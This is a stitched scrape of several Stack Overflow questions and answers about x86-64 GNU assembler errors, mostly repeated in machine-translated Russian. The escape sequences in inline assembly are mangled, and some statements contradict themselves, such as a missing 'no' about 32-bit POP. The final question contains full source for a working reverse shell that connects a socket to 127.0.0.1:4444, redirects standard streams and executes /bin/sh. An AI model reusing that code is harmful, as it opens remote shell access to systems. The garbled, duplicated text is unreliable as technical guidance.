There are several problems with your inline assembly statement, most of which are indicated by the error messages.
The first error message Error: operand type mismatch for `push', corresponds to the pushw %eax instruction. The error is a result of the fact that the operand size suffix you used, w, doesn’t match the actual size of the operand, %eax. You’ve told it to use the instruction for pushing a 16-bit value on the stack but provided a 32-bit register as an operand. You could fix that by using pushw %ax but that’s not what you want. It would preserve only the lower 16-bits of the RAX register, not the entire register.
Another «obvious» fix would be to use pushl %eax, but there’s two problems with that. First in order to fix other problems you need to modify the entire RAX register, and that means you need to preserve all 64 bits of it, not just the lower 32 bits. The second is that there is no 32-bit PUSH instruction in 64-bit mode, so your forced to use pushq %rax regardless.
The next two error messages are both Error: unsupported for `mov'. These error messages correspond to the movl %cr0,%eax and movl %eax,%cr0 instructions. and both are a result of the same problem. In 64-bit mode there’s no 32-bit operand size version of these instructions. You need to use a 64-bit operand, so the fix is simply to use RAX instead of EAX. This is where the entire 64-bits of RAX gets clobbered and why I said you needed to preserve the entire register.
The last error message is Error: operand type mismatch for `pop'. This is a result of a similar problem as the first. In this case you haven’t used a operand size suffix, which means that assembler will try to determine the operand size based on the operands. Since you’ve used a 32-bit operand, %eax, it uses a 32-bit operand size. However just like with PUSH, there’s 32-bit POP instruction in 64-bit mode, so you can’t use %eax either. In any case since the PUSH instruction needs to be 64-bit, the POP instruction needs to be 64-bit to match, so the fix is to use popq %rax.
Finally one problem that isn’t indicated by an error message is that in 64-bit mode the size of CR0 is extended to 64-bits. While the extra 32-bits are currently reserved and must be set to zero, they could be defined in future processors. So the orl $0x40000000,%eax instruction should preserve the upper 64-bits. Unfortunately it doesn’t, it will clear the upper 32-bit bits of RAX meaning that this instruction would also unintentionally clear any of those bits that future CPUs might give meaning to. So it should be replaced with orq $0x40000000,%rax.
So the fixed sequence of instructions would be:
pushq %rax
movq %cr0, %rax
orq $0x40000000, %rax
movq %rax, %cr0
wbinvd
popq %rax
This isn’t what I’m going to suggest using in your inline assembly however. It’s possible to simplify it by letting GCC pick the register used. This way there’s no need to preserve it. Here’s what I would suggest instead:
long long dummy;
asm volatile ("movq %%cr0, %0nt"
"orq $0x40000000, %0nt"
"movq %0, %%cr0nt"
"wbinvd"
: "=r" (dummy) : :);
I’m trying to compile the following using gcc -c main.s
.intel_syntax noprefix
.global main
main:
push ebp
mov ebp,esp
sub esp,0x10
mov DWORD PTR [ebp-0xc],0x0
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
leave
ret
And I get an error:
main.s:6: Error: operand type mismatch for `push’
What’s the reason this isn’t working?
melpomene
83.1k8 gold badges81 silver badges145 bronze badges
asked Oct 7, 2018 at 18:20
6
From the Intel® 64 and IA-32 Architectures Software Developer’s Manual, 7.3.1.5 Stack Manipulation Instructions in 64-Bit Mode:
In 64-bit mode, the stack pointer size is 64 bits and cannot be overridden by an instruction prefix. In implicit stack references, address-size overrides are ignored. Pushes and pops of 32-bit values on the stack are not possible in 64-bit mode.
(Emphasis mine.)
push ebp tries to push a 32-bit register, which is not allowed in 64-bit mode.
This is 32-bit code (and would crash in 64-bit mode even if push ebp was encodeable), so you need to assemble it into a 32-bit executable. With gcc or clang, use
gcc -m32 -no-pie -fno-pie main.s -o my_prog
(The no-pie options are not necessary, but you probably want them to get a simpler position-dependent executable for 32-bit code.)
![]()
Peter Cordes
311k44 gold badges570 silver badges800 bronze badges
answered Oct 7, 2018 at 18:39
melpomenemelpomene
83.1k8 gold badges81 silver badges145 bronze badges
2
I’m trying to compile the following using gcc -c main.s
.intel_syntax noprefix
.global main
main:
push ebp
mov ebp,esp
sub esp,0x10
mov DWORD PTR [ebp-0xc],0x0
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
leave
ret
And I get an error:
main.s:6: Error: operand type mismatch for `push’
What’s the reason this isn’t working?
melpomene
83.1k8 gold badges81 silver badges145 bronze badges
asked Oct 7, 2018 at 18:20
6
From the Intel® 64 and IA-32 Architectures Software Developer’s Manual, 7.3.1.5 Stack Manipulation Instructions in 64-Bit Mode:
In 64-bit mode, the stack pointer size is 64 bits and cannot be overridden by an instruction prefix. In implicit stack references, address-size overrides are ignored. Pushes and pops of 32-bit values on the stack are not possible in 64-bit mode.
(Emphasis mine.)
push ebp tries to push a 32-bit register, which is not allowed in 64-bit mode.
This is 32-bit code (and would crash in 64-bit mode even if push ebp was encodeable), so you need to assemble it into a 32-bit executable. With gcc or clang, use
gcc -m32 -no-pie -fno-pie main.s -o my_prog
(The no-pie options are not necessary, but you probably want them to get a simpler position-dependent executable for 32-bit code.)
![]()
Peter Cordes
311k44 gold badges570 silver badges800 bronze badges
answered Oct 7, 2018 at 18:39
melpomenemelpomene
83.1k8 gold badges81 silver badges145 bronze badges
2
Я пытаюсь скомпилировать следующее, используя gcc -c main.s
.intel_syntax noprefix
.global main
main:
push ebp
mov ebp,esp
sub esp,0x10
mov DWORD PTR [ebp-0xc],0x0
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
leave
ret
И я получаю ошибку:
main.s: 6: Ошибка: несоответствие типа операнда для `push ‘
В чем причина того, что это не работает?
1 ответ
Лучший ответ
Из Руководство разработчика программного обеспечения для архитектур Intel® 64 и IA-32, 7.3.1.5 Инструкции по управлению стеком в 64-битном режиме :
В 64-битном режиме размер указателя стека составляет 64 бита, и его нельзя изменить с помощью префикса инструкции. В неявных ссылках на стек игнорируются переопределения размера адреса. Отправка и извлечение 32-битных значений в стек невозможны в 64-битном режиме.
(Акцент мой.)
push ebp пытается протолкнуть 32-битный регистр, что недопустимо в 64-битном режиме.
Это 32-битный код (и он вылетел бы в 64-битном режиме, даже если бы push ebp был кодируемым), поэтому вам нужно собрать его в 32-битный исполняемый файл. С gcc или clang используйте
gcc -m32 -no-pie -fno-pie main.s -o my_prog
(Параметры no-pie не нужны, но вы, вероятно, хотите, чтобы они получили более простой зависимый от позиции исполняемый файл для 32-битного кода.)
5
Peter Cordes
7 Окт 2018 в 22:09
В вашей встроенной инструкции сборки есть несколько проблем, большинство из которых указаны сообщениями об ошибках.
Первое сообщение об ошибке Error: operand type mismatch for `push' соответствует инструкции pushw %eax. Ошибка возникает из-за того, что суффикс размера операнда, который вы использовали, w, не соответствует фактическому размеру операнда, %eax. Вы сказали ему использовать инструкцию для нажатия 16-битного значения в стеке, но при условии, что 32-разрядный регистр является операндом. Вы можете исправить это, используя pushw %ax, но это не то, что вы хотите. Он сохранил бы только младшие 16 бит регистра RAX, а не весь регистр.
Другим «очевидным» исправлением будет использование pushl %eax, но есть две проблемы с этим. Сначала, чтобы исправить другие проблемы, вам необходимо изменить весь регистр RAX, а это значит, что вам нужно сохранить все 64 бита, а не только более низкие 32 бита. Во-вторых, нет 32-разрядной инструкции PUSH в 64-битном режиме, поэтому вы вынуждены использовать pushq %rax независимо.
Следующие два сообщения об ошибке: Error: unsupported for `mov'. Эти сообщения об ошибках соответствуют инструкциям movl %cr0,%eax и movl %eax,%cr0. и оба являются результатом одной и той же проблемы. В 64-битном режиме нет 32-разрядной версии этих операндов. Вам нужно использовать 64-битный операнд, поэтому исправить просто использовать RAX вместо EAX. Вот где все 64-битные RAX сбиваются, и почему я сказал, что вам нужно сохранить весь регистр.
Последнее сообщение об ошибке Error: operand type mismatch for `pop'. Это результат аналогичной проблемы, такой как первая. В этом случае вы не использовали суффикс размера операнда, а это значит, что ассемблер попытается определить размер операнда на основе операндов. Поскольку вы использовали 32-разрядный операнд, %eax, он использует 32-разрядный размер операнда. Однако, как и в случае с PUSH, есть 32-разрядная команда POP в 64-битном режиме, поэтому вы не можете использовать %eax. В любом случае, так как команда PUSH должна быть 64-битной, команда POP должна быть 64-битной, чтобы соответствовать, поэтому исправление должно использовать popq %rax.
Наконец, одна проблема, которая не указана сообщением об ошибке, заключается в том, что в 64-битном режиме размер CR0 расширяется до 64 бит. В то время как дополнительные 32 бита в настоящее время зарезервированы и должны быть установлены на ноль, они могут быть определены в будущих процессорах. Поэтому команда orl $0x40000000,%eax должна сохранять верхние 64-битные. К сожалению, этого не происходит, он очистит верхние 32-битные биты RAX, что означает, что эта инструкция также непреднамеренно очистит любой из этих битов, которые могут дать будущие процессоры. Поэтому его следует заменить на orq $0x40000000,%rax.
Таким образом, фиксированная последовательность инструкций будет:
pushq %rax
movq %cr0, %rax
orq $0x40000000, %rax
movq %rax, %cr0
wbinvd
popq %rax
Это не то, что я собираюсь предложить использовать в вашей встроенной сборке. Это можно упростить, разрешив GCC выбрать используемый регистр. Таким образом, нет необходимости его сохранять. Вот что я хотел бы предложить вместо этого:
long long dummy;
asm volatile ("movq %%cr0, %0nt"
"orq $0x40000000, %0nt"
"movq %0, %%cr0nt"
"wbinvd"
: "=r" (dummy) : :);
Вы не можете сделать свой встроенный код сборки переносимым в компилятор Microsoft C/C++ по двум причинам. Во-первых, синтаксис для операторов asm слишком отличается. Компилятор Microsoft ожидает что-то вроде asm { mov rax, [rbp + 8] } вместо asm("movq -8(%rbp), %raxnt"). Во-вторых, Microsoft 64-разрядные компиляторы не поддерживают встроенную сборку.
Таким образом, вы можете сделать это правильно и использовать расширенный синтаксис GCC. Поскольку ваш встроенный сборник ужасно хрупок. Вы не можете зависеть от значения val, расположенного в -8(%rbp). Компилятор может даже не помещать его в стек. Вы также не можете не предполагать, что компилятор не будет возражать против разрыва RAX, XMM0 и XMM1.
Поэтому, чтобы сделать это правильно, вам нужно сообщить компиляторам, какие переменные вы хотите использовать и какие регистры вы используете. Кроме того, вы можете позволить обработчику загрузки 1.0 загружать в регистр XMM. Что-то вроде этого:
asm ("movq (%0), %%xmm1nt"
"addsd %1, %%xmm1nt"
"movsd %%xmm1, (%0)nt"
: /* no output operands */
: "r" (val), "x" (1.0)
: "xmm1", "memory");
Входной операнд "r" (val) сообщает компилятору перевести val в регистр общего назначения, а затем заменить это имя регистра на %0 когда он появляется в строке. Аналогично, "x" (1.0) сообщает компилятору, чтобы он помещал 1.0 в регистр XMM, заменяя его на %1. Кобберы сообщают компилятору, что регистр XMM1 модифицируется оператором вместе с чем-то в памяти. Вы также можете заметить, что я поменял операнды на ADDSD, так что только один регистр был изменен оператором.
И вот сгенерированная сборка, когда я скомпилирую ее версию GCC, которую я установил на свой компьютер:
foo:
pushq %rbp
movq %rsp, %rbp
movq %rcx, 16(%rbp)
movq 16(%rbp), %rax
movsd .LC2(%rip), %xmm0
/APP
movq (%rax), %xmm1
addsd %xmm0, %xmm1
movsd %xmm1, (%rax)
/NO_APP
popq %rbp
ret
.LC2:
.long 0
.long 1072693248
Похоже, моя версия GCC решила сохранить val в 16(%rbp) вместо -8(%rbp). Ваш код даже не был переносимым в другие версии GCC, не говоря уже о компиляторе Microsoft. Давайте посмотрим, что я получу, когда я скомпилирую его с включенной оптимизацией:
foo:
movsd .LC0(%rip), %xmm0
/APP
movq (%rcx), %xmm1
addsd %xmm0, %xmm1
movsd %xmm1, (%rcx)
/NO_APP
ret
Посмотрите, насколько коротка и сладка эта функция. Компилятор исключил все ненужные коды котельных, которые устанавливают фрейм стека. Кроме того, поскольку val передается функции в RCX, компилятор непосредственно использует этот регистр в встроенной сборке. Не нужно хранить его в стеке, чтобы сразу загрузить его обратно в другой регистр.
Разумеется, с таким же кодом, как и у вашего собственного кода, это не является удаленной совместимостью с компилятором Microsoft. Это единственный способ сделать его совместимым — не использовать встроенную сборку вообще. К счастью, это вариант, и я не имею в виду использование *val + 1.0. Для этого вам необходимо использовать встроенные функции Intel, которые поддерживают как GCC, Microsoft C/C++, так и собственный компилятор Clang и Intel. Вот пример:
#include <emmintrin.h>
void foo(double *val) {
__m128d a = _mm_load_sd(val);
const double c = 1.0;
__m128d b = _mm_load_sd(&c);
a = _mm_add_sd(a, b);
_mm_store_sd(val, a);
}
Мой компилятор делает что-то отвратительное с этим при компиляции без оптимизации, но вот что выглядит с оптимизацией:
foo:
movsd (%rcx), %xmm0
addsd .LC0(%rip), %xmm0
movlpd %xmm0, (%rcx)
ret
Компилятор достаточно умен, чтобы знать, что он может использовать константу 1.0, хранящуюся в памяти, непосредственно в инструкции ADDSD.
Я смотрю на увеличение производительности во время выполнения библиотеки C ++, которую я написал и профилировал. Я очень плохо знаком со сборкой (и встроенной сборкой), и у меня есть очень простой вопрос.
Как установить значение регистра xmm (xmm, ymm, zmm и т. Д.) На постоянное значение с плавающей запятой или двойное значение с использованием встроенной сборки? Я настоятельно предпочитаю не использовать расширенную сборку GCC, чтобы сделать код более переносимым к MSVC. При компиляции с -S я вижу, что GCC использует .data Однако, я не думаю, что смогу использовать это во встроенном коде.
Для простоты, скажем, я хочу реализовать foo функция в следующем C-коде:
#include <cstdio>
void foo(double *val);
int main(int argc, char **argv) {
double val = 0.0;
foo(&val);
printf("val: %lfn", val);
return 0;
}
void foo(double *val) {
// return *val + 1.0.
__asm__ (
"movq -8(%rbp), %raxnt" // move pointer from stack to rax.
"movq (%rax), %xmm1nt" // dereference pointer and move to xmm1.
"?????????????" // somehow move 1.0 to xmm0.
"addsd %xmm1, %xmm0nt" // add xmm1 to xmm0.
"movsd %xmm0, (%rax)nt" // move result back val.
);
}
Я пытался использовать push $0x3ff0000000000000 а также pushq $0x3ff0000000000000 переместить значение в стек и затем потенциально переместить его в xmm0 со следующими результатами:
"pushq $0x3ff0000000000000nt" = «Ошибка: несоответствие типа операнда для` push ‘».
"push $0x3ff00000nt" = Ошибка сегментации в этой инструкции.
Буду признателен за любую помощь, и заранее спасибо за ваше время.
1
Решение
Вы не можете сделать свой встроенный ассемблерный код переносимым на компилятор Microsoft C / C ++ по двум причинам. Во-первых, синтаксис операторов asm слишком отличается. Компилятор Microsoft ожидает что-то вроде asm { mov rax, [rbp + 8] } вместо asm("movq -8(%rbp), %raxnt"), Во-вторых, 64-битные компиляторы Microsoft не поддерживают встроенную сборку.
Так что вы могли бы сделать это правильно и использовать расширенный синтаксис GCC. Как это ваша встроенная сборка ужасно хрупкая. Ты не можешь зависеть val находясь в -8(%rbp), Компилятор может даже не поместить его в стек. Вы также не можете предположить, что компилятор не будет возражать против того, что вы уничтожаете RAX, XMM0 и XMM1.
Поэтому, чтобы сделать это правильно, вам нужно сообщить компиляторам, какие переменные вы хотите использовать и какие регистры вы удаляете. Кроме того, вы можете позволить компилятору обрабатывать загрузку 1.0 в регистр XMM. Что-то вроде этого:
asm ("movq (%0), %%xmm1nt""addsd %1, %%xmm1nt""movsd %%xmm1, (%0)nt": /* no output operands */
: "r" (val), "x" (1.0)
: "xmm1", "memory");
"r" (val) входной операнд говорит компилятору поставить val в регистр общего назначения, а затем заменить это имя регистра в %0 где бы он ни появлялся в строке. Точно так же "x" (1.0) скажите компилятору поместить 1.0 в регистр XMM, подставив его для %1, Clobbers сообщают компилятору, что регистр XMM1 изменяется оператором вместе с чем-то в памяти. Вы также можете заметить, что я поменял местами операнды в ADDSD, так что оператор изменяет только один регистр.
И вот сгенерированная сборка, когда я компилирую версию GCC, которую я установил на свой компьютер:
foo:
pushq %rbp
movq %rsp, %rbp
movq %rcx, 16(%rbp)
movq 16(%rbp), %rax
movsd .LC2(%rip), %xmm0
/APP
movq (%rax), %xmm1
addsd %xmm0, %xmm1
movsd %xmm1, (%rax)
/NO_APP
popq %rbp
ret
.LC2:
.long 0
.long 1072693248
Похоже, мою версию GCC решили хранить val в 16(%rbp) вместо -8(%rbp), Ваш код даже не был переносим на другие версии GCC, не говоря уже о компиляторе Microsoft. Давайте посмотрим, что я получу при компиляции с включенной оптимизацией:
foo:
movsd .LC0(%rip), %xmm0
/APP
movq (%rcx), %xmm1
addsd %xmm0, %xmm1
movsd %xmm1, (%rcx)
/NO_APP
ret
Посмотрите, как коротка и сладка эта функция. Компилятор исключил весь этот ненужный код пластины котла, который устанавливает кадр стека. Также с val передается функции в RCX, компилятор просто использует этот регистр во встроенной сборке напрямую. Нет необходимости хранить его в стеке только для немедленной загрузки его в другой регистр.
Конечно, как и в случае с вашим собственным кодом, все это удаленно не совместимо с компилятором Microsoft. Единственный способ сделать его совместимым — вообще не использовать встроенную сборку. К счастью, это вариант, и я не имею в виду использование *val + 1.0, Для этого вам нужно использовать Присущие Intel, которые поддерживаются как GCC, Microsoft C / C ++, так и Clang и собственным компилятором Intel. Вот пример:
#include <emmintrin.h>
void foo(double *val) {
__m128d a = _mm_load_sd(val);
const double c = 1.0;
__m128d b = _mm_load_sd(&c);
a = _mm_add_sd(a, b);
_mm_store_sd(val, a);
}
Мой компилятор делает с этим что-то отвратительное при компиляции без оптимизации, но вот как это выглядит с оптимизацией:
foo:
movsd (%rcx), %xmm0
addsd .LC0(%rip), %xmm0
movlpd %xmm0, (%rcx)
ret
Компилятор достаточно умен, чтобы знать, что он может использовать константу 1.0, хранящуюся в памяти непосредственно в инструкции ADDSD.
0
Другие решения
Если кто-то заинтересован в точном ответе на мой вопрос, я также публикую его здесь, так как мне каким-то образом удалось выяснить это с явной удачей и методом проб / ошибок. Все дело в том, чтобы научиться простой сборке.
void foo(double *in) {
__asm__ (
"movq -8(%rbp), %raxnt""movq (%rax), %xmm1nt""movq $0x3FF0000000000000, %rbxnt""movq %rbx, %xmm0nt""addsd %xmm1, %xmm0nt""movsd %xmm0, (%rax)nt");
}
0
so I’m using gas assembly and I’m running this code:
main:
# create data section on stack
pushq $0x0000000000000000
pushq $0x000000007f000001
pushq $0x115c02000068732f
pushq $0x6e69622f00000000
and when I compile I get the following errors:
reverse_shell.s: Assembler messages:
reverse_shell.s:20: Error: operand type mismatch for `push'
reverse_shell.s:21: Error: operand type mismatch for `push'
so lines 20 and 21 correspond with the last 2 pushq calls. It seems that all of them are the same operand, a 64 bit immediate in hex, but the first 2 work and the second 2 don’t, why?
Note that if I isolate each one by commenting out the rest of them, I get the same results, lines 20 and 21 fail when isolated and lines 18 and 19 pass
I don’t think this pertains, but here is my full code in case it matters:
.data
cur_fd:
.int 0
shell_str:
.asciz "/bin/sh"
sin_family:
.hword 2
sin_port:
.hword 23569
s_addr:
.int 0x0100007f
sin_zero:
.zero 8
.text
.globl main
main:
# create data section on stack
pushq $0x0000000000000000
pushq $0x000000007f000001
pushq $0x115c02000068732f
pushq $0x6e69622f00000000
xor %rax, %rax
mov $2, %rdi #AF_INET
mov $1, %rsi #SOCK_STREAM
mov $0, %rdx
mov $41, %rax
syscall
mov %eax, 0(%rsp)
mov %rax, %rdi
mov %rsp, %rsi
add $12, %rsi
mov $16, %rdx
mov $42, %rax
syscall
xor %rdi, %rdi
mov 0(%rsp), %edi
mov $0, %rsi
mov $33, %rax
syscall
xor %rdi, %rdi
mov 0(%rsp), %edi
mov $1, %rsi
mov $33, %rax
syscall
xor %rdi, %rdi
mov 0(%rsp), %rdi
mov $2, %rsi
mov $33, %rax
syscall
xor %rdi, %rdi
mov %rsp, %rdi
add $4, %rdi
mov $0, %rsi
mov $0, %rdx
mov $59, %rax
syscall
loop:
jmp loop